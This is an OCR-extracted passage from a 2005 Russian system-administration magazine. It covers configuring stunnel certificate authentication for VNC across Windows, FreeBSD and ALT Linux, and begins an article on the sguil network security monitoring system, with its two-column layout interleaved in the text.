кетов ALT Linux пакет tightVNC отсутствует, поэтому ставим
стандартный VNC, они все равно совместимы между собой.
Пришло время создать SSL-сертификаты, с помощью
которых мы будем проводить взаимную аутентификацию
клиентов и сервера. Это можно сделать на любой из ис-
пользуемых нами платформ. Но все же стоит отметить, что
под Windows выполнять подобные действия неудобно из-
за бедности функционала, портированного OpenSSL.
Для остальных обсуждаемых в этой статье систем про-
цедура практически одинакова, все отличия обычно состо-
ят в именах директорий, используемых во время работы.
По умолчанию VNC ждет соединений на порту 5800 для FreeBSD хранит исполняемый файл openssl в /usr/local/bin/
стандартных клиентов и 5900 для тех, кто использует в openssl, а ALT Linux – в /usr/bin/openssl. Плюс к этому вспо-
качестве клиента браузер. Нажав кнопку «Advanced», по- могательный скрипт CA.pl, представляющий для нас осо-
лучаем следующий диалог, с помощью которого разреша- бую важность, в первом случае лежит в директории /usr/
ем входящие соединения только с интерфейса локальной local/openssl/misc, а во втором – внутри /var/lib/ssl/misc. Впро-
петли. чем, не стоит переживать: я обязательно подробно опишу

1
1. Бешков А. Защита сетевых сервисов с помощью stunnel. – журнал «Системный администратор», №12, декабрь 2004 г.
2. Бешков А. Защита сетевых сервисов с помощью stunnel. Часть 2. – журнал «Системный администратор», №1, январь 2005 г.

№3, март 2005 59


безопасность
всю процедуру генерации сертификатов для обеих систем. Переносим файлы win2000key.pem, win2000cert.pem и
Авторизацию с помощью сертификатов можно настро- trusted.pem на Windows-машину и кладем в директорию
ить разными путями даже внутри одной и той же системы. C:\Stunnel\certs\.
Итак, подход первый: создать три независимых самодель- Таким же образом на FreeBSD копируем файлы freebsd-
ных сертификата, по одному для всех участников шифро- key.pem и freebsdcert.pem, а на Linux, соответственно,
ванного туннеля. Такой способ подкупает простотой реа- altlinuxkey.pem altlinuxcert.pem. Для клиентов в качестве
лизации, но в качестве минусов получаем невозможность, файла с сертификатом доверия выступает win2000cert.pem,
проверить подлинность сертификата через корневой сер- поэтому обязательно отправляем его на обе машины и для
вер сертификации. Впрочем, в нашем случае это не играет единообразия переименовываем в trusted.pem. Также не за-
особой роли. бываем на клиентских машинах положить файлы ключа и
Для начала исправляем файл openssl.cnf, дабы не на- сертификатов в /usr/local/etc/stunnel/certs/.
бирать нижеприведенные данные каждый раз заново при Стоит обратить внимание на то, что vnc может работать
создании сертификата. либо самостоятельно, либо как подключаемый модуль веб-
браузера. В первом случае нужно проводить аутентифика-
countryName_default = RU цию и шифровать трафик, а во втором случае будет дос-
stateOrProvinceName_default = Rostov region
localityName = Rostov-on-Don тупно только шифрование, потому что непонятно, как кли-
0.organizationName_default = Tigrisha Home ентский браузер сможет предъявить свой сертификат сер-
emailAddress = tigrisha@unreal.net
веру. Отсюда делаем вывод, что на машине с Windows дол-
Во FreeBSD openssl.cnf находится в /usr/local/openssl/, а жно работать два независимых демона stunnel. Один с ав-
под ALT Linux соответственно в /var/lib/ssl/. торизацией, другой – без.
Начнем с FreeBSD. Переходим в любую удобную дирек- Теперь пришло время создать конфигурационные фай-
торию и выполняем команды: лы. Для Windows содержимое vnc_server.cnf выглядит так:

# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵ cert = C:\stunnel\certs\win2000cert.pem
–x509 –keyout win2000key.pem –out win2000cert.pem key = C:\stunnel\certs\win2000key.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵ CAFile = C:\stunnel\certs\trusted.pem
–x509 –keyout altlinuxkey.pem –out altlinuxcert.pem CRLfile = C:\stunnel\certs\crl.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵
–x509 –keyout freebsdkey.pem –out freebsdcert.pem debug = 7
output = C:\stunnel\stunnel.log
Большинство полей в сертификате совпадают с нашими verify = 3
значениями по умолчанию, во время генерации сертифика-
[vnc]
тов нам просто нужно нажимать «Enter». Единственное, что accept = 10.10.21.46:5800
нужно менять, – это поле CN (Common name). Заполнять connect = 127.0.0.1:5800
его нужно в соответствии с полным доменным именем ком-
пьютера, для которого предназначается сертификат. Конфигурация второго экземпляра stunnel, хранящаяся
Таким образом, мы создали пару сертификат-ключ для в vnc_server1.cnf, соответственно такова:
всех наших машин. Теперь ключ лежит в файле с суффик-
сом key, а сертификат соответственно в файле с суффик- [vnc-https]
cert = C:\stunnel\certs\win2000cert.pem
сом cert. В ALT Linux все вышеприведенные команды будут key = C:\stunnel\certs\win2000key.pem
иметь тот же эффект. Хотя для этой системы есть и другой
debug = 7
способ. Чтобы изучить его, переходим в /var/lib/ssl/certs/ и output = C:\stunnel\stunnel.log
выполняем команды:
accept = 10.10.21.46:5900
connect = 127.0.0.1:5900
# make win2000.pem
# make altlinux.pem
# make freebsd.pem Теперь посмотрим, на что похожа конфигурация для
FreeBSD.
Это способ не столь удобен, как предыдущий, и требует
больше ручного труда. Дело в том, что теперь ключ и сер- cert = /usr/local/etc/stunnel/certs/freebsdcert.pem
key = /usr/local/etc/stunnel/certs/freebsdkey.pem
тификат каждой машины лежат вместе в одном файле. Сле- CAFile = /usr/local/etc/stunnel/certs/trusted.pem
довательно, придется вручную разносить их по отдельным CRLfile = /usr/local/etc/stunnel/certs/crl.pem
файлам.
Для того чтобы системы, соединенные с помощью chroot = /var/tmp/stunnel/
stunnel, могли провести аутентификацию, они должны до- pid = /stunnel.pid
верять публичным сертификатам друг друга. Соответствен- setuid = stunnel
setgid = stunnel
но клиенты должны доверять сертификату сервера и на-
оборот. Давайте изготовим файл с доверенными сертифи- debug = 7
output = /var/log/stunnel.log
катами для машины win2000. Для этого объединяем серти-
фикаты altlinuxcert.pem и freebsdcert.pem в файл trusted.pem. client = yes

verify = 3
# cat altlinuxcert.pem freebsdcert.pem > trusted.pem

60
безопасность
[vnc] C:\stunnel\certs\trusted.pem
accept = 127.0.0.1:5800 2005.02.28 19:10:33 LOG5[776:1108]: WIN32 platform:
connect = 10.10.21.46:5800 30000 clients allowed
2005.02.28 19:10:33 LOG7[776:1108]: FD 156 in non-blocking mode
Конфигурационный файл для ALT Linux выглядит так: 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc bound to 10.10.21.46:5800
cert = /usr/local/etc/stunnel/certs/altlinuxcert.pem 2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
key = /usr/local/etc/stunnel/certs/altlinuxkey.pem 2005.02.28 19:10:33 LOG7[776:1108]: FD 189 in non-blocking mode
CAFile = /usr/local/etc/stunnel/certs/trusted.pem 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
CRLfile = /usr/local/etc/stunnel/certs/crl.pem accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
chroot = /var/tmp/stunnel/
Ну а для Linux записи в файле протокола должны выг-
pid = /stunnel.pid
setuid = stunnel лядеть примерно так:
setgid = stunnel
2005.02.28 10:26:08 LOG5[10323:16384]: stunnel 4.05 on
debug = 7 i686-pc-linux-gnu PTHREAD with OpenSSL 0.9.7d 17 Mar 2004
output = /var/log/stunnel.log 2005.02.28 10:26:08 LOG7[10323:16384]: Snagged 64 random bytes from
/root/.rnd
client = yes 2005.02.28 10:26:08 LOG7[10323:16384]: Wrote 1024 new random bytes
to /root/.rnd
verify = 3 2005.02.28 10:26:08 LOG7[10323:16384]: RAND_status claims sufficient
entropy for the PRNG
[vnc]
2005.02.28 10:26:08 LOG6[10323:16384]: PRNG seeded successfully
accept = 127.0.0.1:5800
connect = 10.10.21.46:5800 2005.02.28 10:26:08 LOG7[10323:16384]: Certificate:
/usr/local/etc/stunnel/certs/altlinuxcert.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Key file:
На этом можно остановиться. Перед запуском стоит /usr/local/etc/stunnel/certs/altlinuxkey.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Loaded verify certificates from
обсудить особенности конфигурационных файлов, с кото- /usr/local/etc/stunnel/certs/trusted.pem
рыми мы еще не сталкивались. CAFile – указывает, в ка- 2005.02.28 10:26:08 LOG5[10323:16384]: FD_SETSIZE=1024,
ком файле хранятся доверенные сертификаты. CRLfile – file ulimit=1024 -> 500 clients allowed
2005.02.28 10:26:08 LOG7[10323:16384]: FD 6 in non-blocking mode
описывает имя файла, где должны находиться отозванные 2005.02.28 10:26:08 LOG7[10323:16384]: SO_REUSEADDR option set on
сертификаты. Такая возможность полезна, к примеру, если accept socket
2005.02.28 10:26:08 LOG7[10323:16384]: vnc bound to 10.10.21.75:3307
сертификат клиента каким-либо образом попал к злоумыш-
леннику, и теперь нам нужно заблокировать его. И, нако- Думаю, всем понятно, что в протоколах системы FreeBSD
нец, самая важная опция – verify. Она определяет, каким будет написано примерно то же, что хранится в протоколах
образом при начале соединения будут проверяться серти- системы Linux. Особое внимание стоит обратить на сооб-
фикаты клиента и сервера. Значением переменной долж- щения о считывании файлов сертификатов.
но быть число от 0 до 3. Давайте посмотрим, что значит Теперь нужно попробовать присоединиться к серверу
каждое из них. Windows с любой из клиентских машин с помощью програм-
! 0 – наличие и подлинность сертификатов не проверяет- мы vncviewer.
ся. Это значение по умолчанию, оно также эквивалент- Все должно пройти как по маслу. А в файлах протоко-
но слову «no». лов соответственно появится что-то вроде:
! 1 – подлинность сертификата проверяется только при
2005.02.26 21:48:00 LOG7[7492:16384]: vnc accepted FD=11 from
наличии такового. В случае если сертификат не прохо- 10.10.21.29:51902
дит проверку, то соединение будет разорвано. В то же 2005.02.26 21:48:00 LOG7[7492:16384]: FD 11 in non-blocking mode
2005.02.26 21:48:00 LOG7[8003:32770]: vnc started
время при отсутствии сертификата соединение будет 2005.02.26 21:48:00 LOG5[8003:32770]: vnc connected from
10.10.21.29:51902
разрешено. 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
! 2 – проверяется наличие и подлинность сертификата. before/accept initialization
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
Если сертификат отсутствует или в результате провер- 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
ки считается фальшивым, соединение разрывается. 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read client hello A
! 3 – для создания соединения требуется обязательное 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write server hello A
наличие сертификата и его присутствие в списке дове- 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
ренных. SSLv3 write certificate A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write certificate request A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
Итак, разобравшись с опциями, запускаем stunnel на всех SSLv3 flush data
машинах и смотрим, что появляется в файлах stunnel.log под 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
Windows. 2005.02.26 21:48:00 LOG5[8003:32770]: VERIFY OK: depth=0,
/C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/CN=win2000.unreal.net
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG5[776:724]: stunnel 4.05 on x86-pc-mingw32-gnu
SSLv3 read client certificate A
WIN32 with OpenSSL 0.9.7e 25 Oct 2004 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: RAND_status claims sufficient SSLv3 read client key exchange A
entropy for the PRNG 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG6[776:1108]: PRNG seeded successfully SSLv3 read certificate verify A
2005.02.28 19:10:33 LOG7[776:1108]: Certificate: 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
C:\stunnel\certs\win2000cert.pem SSLv3 read finished A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: Key file:
SSLv3 write change cipher spec A
C:\stunnel\certs\win2000key.pem 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: Loaded verify certificates from SSLv3 write finished A

№3, март 2005 61


безопасность
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): Country Name (2 letter code) [AU]:RU
SSLv3 flush data
State or Province Name (full name) [Some-State]:Rostov region
2005.02.26 21:48:00 LOG7[8003:32770]: 2 items in the session cache
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects (SSL_connect()) Locality Name (eg, city) []:Rostov-on-Don
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects that finished Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client renegotiatations requested Organizational Unit Name (eg, section) []:Test Lab
2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects (SSL_accept()) Common Name (eg, your name or your server's hostname) []:unreal.net
2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects that finished Email Address []:tigrisha@unreal.net
2005.02.26 21:48:00 LOG7[8003:32770]: 0 server renegotiatiations requested
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache hits
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache misses В результате этих действий в файле cakey.pem появит-
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache timeouts ся секретный ключ, а в cacert.pem наш корневой сертифи-
2005.02.26 21:48:00 LOG6[8003:32770]:
Negotiated ciphers: AES256-SHA SSLv3 Kx=RSA Au=RSA кат. Затем создаем запрос на новый клиентский сертифи-
Enc=AES(256) Mac=SHA1
2005.02.26 21:48:00 LOG7[8003:32770]: FD 14 in non-blocking mode кат для машины altlinux.unreal.net.
2005.02.26 21:48:00 LOG7[8003:32770]: vnc connecting 127.0.0.1:5800
2005.02.26 21:48:00 LOG7[8003:32770]: remote connect #1: EINPROGRESS: retrying
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=14, DIR=write
# /var/lib/ssl/misc/CA.pl -newreq
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
2005.02.26 21:48:00 LOG7[8003:32770]: Remote FD=14 initialized
Generating a 1024 bit RSA private key
2005.02.26 21:49:09 LOG7[8003:32770]: Socket closed on read .......................................................................++++++
2005.02.26 21:49:09 LOG7[8003:32770]: SSL write shutdown (output buffer empty) ........................................++++++
2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (write): warning: close notify writing new private key to 'newreq.pem'
2005.02.26 21:49:09 LOG7[8003:32770]: SSL_shutdown retrying
2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (read): warning: close notify Enter PEM pass phrase:
2005.02.26 21:49:09 LOG7[8003:32770]: SSL closed on SSL_read Verifying - Enter PEM pass phrase:
2005.02.26 21:49:09 LOG7[8003:32770]: Socket write shutdown (output buffer empty) -----
2005.02.26 21:49:09 LOG5[8003:32770]: Connection closed:229164 bytes sent to SSL,
You are about to be asked to enter information that will be incorporated
188234 bytes sent to socket
2005.02.26 21:49:09 LOG7[8003:32770]: vnc finished (0 left) into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
Особое внимание стоит обратить на строчку со следую- For some fields there will be a default value,
щими символами: If you enter '.', the field will be left blank.
-----
VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/ Country Name (2 letter code) [AU]:RU
CN=win2000.unreal.net State or Province Name (full name) [Some-State]:Rostov region
Locality Name (eg, city) []:Rostov-on-Don
Четко видно, как сертификат сервера был опознан кли- Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home
ентом. Соответственно, в протоколах сервера можно уви- Organizational Unit Name (eg, section) []:Test Lab
Common Name (eg, your name or your server's hostname) []:altlinux.unreal.net
деть: Email Address []:tigrisha@unreal.net
VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/
CN=freebsd53.unreal.net После этого во вновь созданном файле newreq.pem бу-
Стоит отметить, что в случае, если файл crl.pem не бу- дет находиться секретный ключ клиента и запрос на созда-
дет содержать сертификатов, stunnel не запустится. Все, ние сертификата. Осталось только заверить его с помощью
что мы получим, – это вот такое сообщение об ошибке: корневого сертификата, сгенерировав таким образом но-
2005.03.12 10:52:12 LOG3[5934:16384]: Error loading CRLs from вый клиентский сертификат.
/usr/local/etc/stunnel/certs/crl.pem

Поэтому включайте возможность отзыва сертификатов # /var/lib/ssl/misc/CA.pl -sign


только в том случае, если она действительно необходима. Using configuration from /var/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Разобравшись с авторизацией, давайте посмотрим на Check that the request matches the signature
еще один способ создания сертификатов клиента и серве- Signature ok
Certificate Details:
ра. В составе пакета OpenSSL версий выше 0.9.6 постав- Serial Number: 1 (0x1)
ляется утилита CA.pl, с помощью которой генерирование Validity
Not Before: Feb 8 18:39:33 2005 GMT
сертификатов превращается из нелегкого труда по запо- Not After : Feb 8 18:39:33 2006 GMT
Subject:
минанию длинных команд в забаву. На этот раз мы посту- countryName = RU
пим в соответствии со всеми правилами. Сначала созда- stateOrProvinceName = Rostov region
localityName = Rostov-on-Don
дим корневой сертификат для unreal.net, а потом с помо- organizationName = Tigrisha home
щью него заверим все клиентские сертификаты. organizationalUnitName = Test Lab
commonName = altlinux.unreal.net
emailAddress = tigrisha@unreal.net
# /var/lib/ssl/misc/CA.pl -newca X509v3 extensions:
X509v3 Basic Constraints:
CA certificate filename (or enter to create) CA:FALSE
Netscape Comment:
Making CA certificate ... OpenSSL Generated Certificate
Generating a 1024 bit RSA private key X509v3 Subject Key Identifier:
.....++++++ BF:01:B4:1C:AA:2C:46:8E:0B:B6:9D:70:BA:AA:D3:86:DC:8F:8A:09
.......................................++++++ X509v3 Authority Key Identifier:
writing new private key to './demoCA/private/cakey.pem' keyid:F8:66:F7:4E:F9:3F:7A:C7:83:BC:0C:84:40:AD:2F:3F:FC:5A:9C:AC
Enter PEM pass phrase: DirName:/C=RU/ST=Rostov region/L=Rostov-on-Don/O=Tigrisha home/
OU=Test Lab/CN=unreal.net/emailAddress=tigrisha@unreal.net
Verifying - Enter PEM pass phrase:
serial:00
-----
You are about to be asked to enter information that will be incorporated Certificate is to be certified until Feb 8 18:39:33 2006 GMT (365 days)
into your certificate request. Sign the certificate? [y/n]:y
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank 1 out of 1 certificate requests certified, commit? [y/n]y
For some fields there will be a default value, Write out database with 1 new entries
If you enter '.', the field will be left blank. Data Base Updated
----- Signed certificate is in newcert.pem

62
безопасность
После всех этих мытарств сертификат клиента находит- Для Windows:
ся в файле newcert.pem. Повторяем эти шаги для осталь- CRLpath = C:\stunnel\certs\crl\
ных клиентов. При этом не стоит забывать, что в файлы CApath = C:\stunnel\certs\trusted\
newcert.pem и newreq.pem перезаписываются при каждом
запуске CA.pl c ключами -sign и -newreq, отсюда следует, Если опираться в своих действиях на официальную до-
что после завершения цикла генерации ключа и сертифи- кументацию к stunnel, то, сложив все доверенные сертифи-
ката лучше переименовывать эти файлы так, чтобы своим каты в папку trusted, можно было бы попытаться запустить
именем они отражали принадлежность тому или иному кли- демонов на сервере и клиентах и радоваться полученному
енту. К примеру, для клиента altlinux.unreal.net файлы дол- результату. Но не тут то было – запуск пройдет гладко, а вот
жны называться altlinuxcert.pem и altlinuxkey.pem. аутентификация функционировать не будет. По крайней
Еще одно обстоятельство, о котором стоит помнить, – мере, у меня таким способом вообще ничего не заработало.
из файла newreq.pem после заверения сертификата лучше Все дело в том, что для совместимости со специфическими
всего удалять запрос на сертификацию. Он начинается стро- особенностями stunnel имена файлов доверенных сертифи-
кой -------BEGIN CERTIFICATE REQUEST--------- и заканчи- катов должны быть в особом формате. А точнее имя файла
вается, соответственно ----END CERTIFICATE REQUEST----- должно соответствовать хэшу, вычисленному по содержи-
Если этого не сделать, то некоторые версии stunnel завер- мому сертификата. Чтобы узнать хэш того или иного файла
шаются с ошибкой при попытке работы с таким файлом. под ALT Linux, нужно выполнить следующую команду:
Итак, мы создали все необходимые сертификаты и по-
местили их в trusted.pem. Конечно, не стоит забывать, что # /var/lib/ssl/misc/c_hash / ↵
/usr/local/etc/stunnel/certs/trusted/*.pem
файл trusted.pem должен быть разным для клиентов и сер-
вера. В остальном этот способ полностью совпадает с тем, b71698b3.0 => /usr/local/etc/stunnel/certs/trusted/win2000cert.pem
что мы протестировали выше.
Вручную добавлять сертификаты в trusted.pem доволь- Таким образом, становится понятно, что файл сертифи-
но просто, а вот удалять их потом оттуда в случае, если ката win2000cert.pem нужно переименовать в b71698b3.0.
хочется отказать какому-либо клиенту в доступе, несколь- После того как вы проведете подобные действия на осталь-
ко неудобно. В системах с малым количеством клиентов ных машинах, можно запускать stunnel. Стоит отметить, что
это еще терпимо, а в большом вычислительном комплексе во FreeBSD утилита c_hash будет находиться в директории
с несколькими сотнями сертификатов это может превра- /usr/local/openssl/misc. Также необходимо обратить внима-
титься в головную боль. ние на тот факт, что для Windows в стандартной поставке
Поэтому давайте рассмотрим другой способ управле- openssl программа c_hash отсутствует. Поэтому хэши клю-
ния сертификатами. В этом случае мы будем помещать чей нужно будет вычислять на Linux или FreeBSD. Един-
каждый сертификат в отдельный файл. Затем доверенные ственное различие будет в том, что в файл протокола при
сертификаты кладем в директорию trusted, а отозванные – старте записываются следующие сообщения, касающиеся
в папку crl. На клиентах и сервере создаем обе папки внут- доверенных сертификатов.
ри директории certs. Затем вносим следующие изменения
2005.03.14 11:19:03 LOG7[7068:16384]: Verify directory set to
в конфигурационные файлы. Вместо строк CAFile и CRLfile /usr/local/etc/stunnel/certs/trusted/
вписываем следующее: 2005.03.14 11:19:03 LOG5[7068:16384]: Peer certificate location
/usr/local/etc/stunnel/certs/trusted/
Для ALT Linux:
В остальном работа системы будет выглядеть точно так
CRLpath = /usr/local/etc/stunnel/certs/trusted/ же, как если бы доверенные сертификаты хранились в од-
CApath = /usr/local/etc/stunnel/certs/crl/
ном файле. Думаю, на этом можно считать тему аутенти-
Для FreeBSD вносим те же изменения, что и для ALT фикации клиентов stunnel с помощью сертификатов исчер-
Linux. панной. А значит, подошла к концу и эта серия статей.

№3, март 2005 63


безопасность

МОНИТОРИНГ СЕТЕВЫХ СОБЫТИЙ


ПРИ ПОМОЩИ SGUIL
… is built by network security analysts
for network security analysts.

СЕРГЕЙ ЯРЕМЧУК
Интересно сегодня наблюдать за процессом развития имеющиеся в операционных системах, сервисах и прото-
средств сетевой безопасности. Сначала считалось, что для колах не имеют ничего общего с возможными угрозами.
ее обеспечения на достаточном уровне необходимо исполь- На страницах журнала [5] уже рассказывалось о работе
зовать межсетевой экран, который при правильной настройке системы обнаружения атак SHADOW – Secondary Heuristic
позволяет отсеивать проблемный трафик. Затем стало ясно, Analysis for Defensive Online Warfare (http://www.nswc.navy.mil/
что межсетевой экран способен обеспечить только минималь- ISSEC/CID), основное отличие которой от традиционных
ный уровень защиты и в 1980 г. с публикации Джона Андер- СОА, вроде Snort, состоит в отказе от наблюдения за конк-
сона (John Anderson) «Computer Security Threat Monitoring ретными уязвимостями и использовании статистического
and Surveillance» началось развитие систем обнаружения анализа потоков информации.
атак, хотя к их активному использованию пришли чуть поз- Другой проект – sguil пробует решить задачу обнаруже-
же – где-то в первой половине 90-х. Долгое время счита- ния атак по-своему.
лось, что системы обнаружения атак также являются иде-
альным помощником администратора, но вскоре стали за- Проект sguil
метны их недостатки. Методология, на которой построен sguil, называется Network
В первую очередь, это очень большое количество лож- Security Monitoring – NSM. Ее главный акцент сосредоточен
ных предупреждений, так как таким системам недостает на сборе как можно большего количества данных, упроще-
контекста, и поэтому они не могут отслеживать связи меж- нии доступа к ним и дальнейшего всестороннего анализа.
ду событиями. Учитывая, что опытные хакеры очень непред- В общем же назначение sguil состоит в интеграции различ-
сказуемы в своих действиях, выявить настоящее и хорошо ных инструментов, предназначенных для защиты сети. Для
подготовленное вторжение при помощи СОА довольно про- этого она связывает предупреждения СОА с базой данных
блематично, а собранная такой системой информация бы- TCP/IP-сеансов, полным содержимым пакетов и другой по-
вает малополезной при последующем анализе инцидента. лезной информацией. После обнаружения атаки sguil обес-
Впрочем, надо отметить, это не помешало появлению та- печивает исследователя полными данными, необходимыми
кого класса программ, как системы остановки атак. Здесь для изучения проблемы, позволяя оценить ситуацию и при-
поступили просто, решив, что если атаку можно обнару- нять правильное решение. При обнаружении события ему
жить, то почему бы вместо простого оповещения не пре- может быть присвоена одна из семи категорий (таблица 1).
кратить ее. Фактически эти системы унаследовали недо- В противном случае оно помечается как не требующее даль-
статки СОА, но только теперь администратор, вместо того нейшего внимания, и такие события больше не выводятся
чтобы разбираться в большом количестве предупреждений, на консоль, но все равно сохраняются в базе данных. Вся
возможно, будет выслушивать жалобы от пользователей, записанная информация может быть легко добыта и про-
которые по неизвестным причинам не могут попасть в сеть. анализирована при помощи предварительно подготовлен-
Вот и получается, что стопроцентно принять решение о ных SQL-запросов. Естественно, при необходимости такие
степени опасности того или иного события может только ад- запросы можно составлять и самому, сохраняя их затем для
министратор, самостоятельно проанализировавший ситуа- повторного использования.
цию. А для решения этих задач СОА не совсем подходят, События, имеющие один и тот же IP-адрес, сигнатуру и
так как они собирают максимальную информацию только о сообщение, могут быть сопоставлены между собой. Для
подозрительных пакетах, остальные же данные, как прави- удобства реализован и импорт отчетов, составленных ска-
ло, игнорируются и будут потеряны для исследователя. А нером безопасности Nessus.
простая логика подсказывает, что известные уязвимости, Система анализа информации, построенная на sguil, со-

64
безопасность
стоит из одного сервера и произвольного числа сетевых дат-
чиков. Датчики собирают информацию и передают ее на сер-
вер, который, в свою очередь, координирует полученные дан-
ные, сохраняет их в базе и отдает по требованию клиентам.
В качестве датчиков на момент написания статьи использо-
вались:
! Snort (http://www.snort.org), собирающий информацию не
только о событиях защиты, но и TCP/IP-сеансах и ис-
пользуемых портах. Отдельный сенсор захватывает все
данные, проходящие по сети.
! Barnyard (http://www.sourceforge.net/projects/barnyard) –
собирает данные из файлов журнала Snort и заносит их
в реальном времени в базу данных.
! SANCP – Security Analyst Network Connection Profiler
(http://www.metre.net/files/sancp-1.6.1.tar.gz) – собирает, Установка sguil
записывает и анализирует статистическую информацию На момент написания статьи актуальной была версия 0.5.3.
по TCP/IP-сеансам. Такой номер версии, как обычно в мире Open Source, не
означает недоработанность утилиты. Сама установка и на-
Дополнительно могут загружаться и расшифровывать- стройка при внимательном подходе происходит, как пра-
ся данные от сниффера Ethereal, если он установлен в сис- вило, без особых проблем. В качестве операционной сис-
теме. Для доступа к информации, собранной сервером ис- темы может быть использована любая из UNIX-систем, но
пользуются GUI-клиенты, написанные на Tcl/Tk, роль кото- использование мультиплатформенных компонентов позво-
рых не менее важна, чем сервера и датчиков, т.к. именно с ляет установить sguil на Mac OS X или Windows. На сайте
их помощью производится основной отбор данных в реаль- проекта http://sguil.sourceforge.net продукт доступен как че-
ном времени и последующий их анализ. При необходимос- рез cvs, так и в виде архива с исходными текстами. Его так-
ти могут создаваться отчеты в виде текстового файла или же можно получить на сайте проекта Snort, при этом для
сообщений электронной почты. удобства установки все части системы, т.е. sensor, server и
Òàáëèöà 1. Êàòåãîðèè ñîáûòèé, êîíòðîëèðóåìûå sguil client на некоторых сайтах могут находиться в разных архи-
вах. Если хорошо поискать, то можно найти и прекомпили-
рованые пакеты. Например, на сайте BOSECO Internet
Security Solutions (http://www.boseco.com), кроме rpm-паке-
тов доступен и базирующийся на Fedora Core дистрибутив
IDSLite, имеющий уже подготовленный к работе sguil. В ftp-
архиве http://www.spenneberg.org/IDS, кроме rpm-пакетов со
sguil, имеются и приложения, необходимые для удовлетво-
рения зависимостей. Наиболее общей является установка
исходных текстов, поэтому в статье будет показан этот ва-
риант. Итак, для настройки различных компонентов нам
понадобятся:
! База данных – сервер MySQL (http://www.mysql.com).
! Сервер Sguild:
! библиотека MySQL client
! Tcl (http://www.tcl.tk)
! Tcltls (http://www.sensus.org/tcl/tls.htm)
! Tcllib (http://tcllib.sourceforge.net)
! TclX (http://tclx.sourceforge.net)
! MySQLTcl (http://www.xdobry.de/mysqltcl)
! P0f (http://lcamtuf.coredump.cx/p0f.shtml)
! Tcpflow (http://www.circlemud.org/~jelson/software/
tcpflow)
! sguil-server
! Датчик sguil:
Естественно, первое, что приходит в голову после зна- ! библиотека MySQL client
комства с sguil, это «еще один интерфейс к IDS Snort». Это ! PCRE (http://www.pcre.org)
не совсем так. Главное отличие sguil от других проектов, ! Snort
задачей которых является выдача информации собранной ! Barnyard (http://www.sourceforge.net/projects/barnyard)
Snort, состоит в выводе данных в реальном времени и воз- ! Tcl
можности проводить необходимые исследования, позволя- ! SANCP (http://www.metre.net/sancp.html)
ющие изучить конкретное событие. ! sguil-sensor

№3, март 2005 65


безопасность
! Клиент sguil: Инициализируется база данных MySQL: [ ОК ]
! Tcl Запускается MySQL: [ ОК ]
! Tcltls # mysql -u root mysql
! Tcllib mysql> UPDATE user SET Password=PASSWORD('passwd')
! TclX WHERE user='root';
! Incrtcl (//incrtcl.sourceforge.net) Query OK, 2 rows affected (0.08 sec)
Rows matched: 2 Changed: 2 Warnings: 0
! Iwidgets (http://www.tcltk.com/iwidgets) mysql> FLUSH PRIVILEGES;
! Tk mysql> GRANT ALL PRIVILEGES ON sguildb.* TO sguil@localhost
! sguil-client IDENTIFIED BY 'sguilpasswd' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)

Плюс опционально всеми компонентами поддержива- Далее нужную для работы базу данных можно создать
ется OpenSSL, хотя как вариант можно использовать и вручную, в документации подробно описан этот процесс.
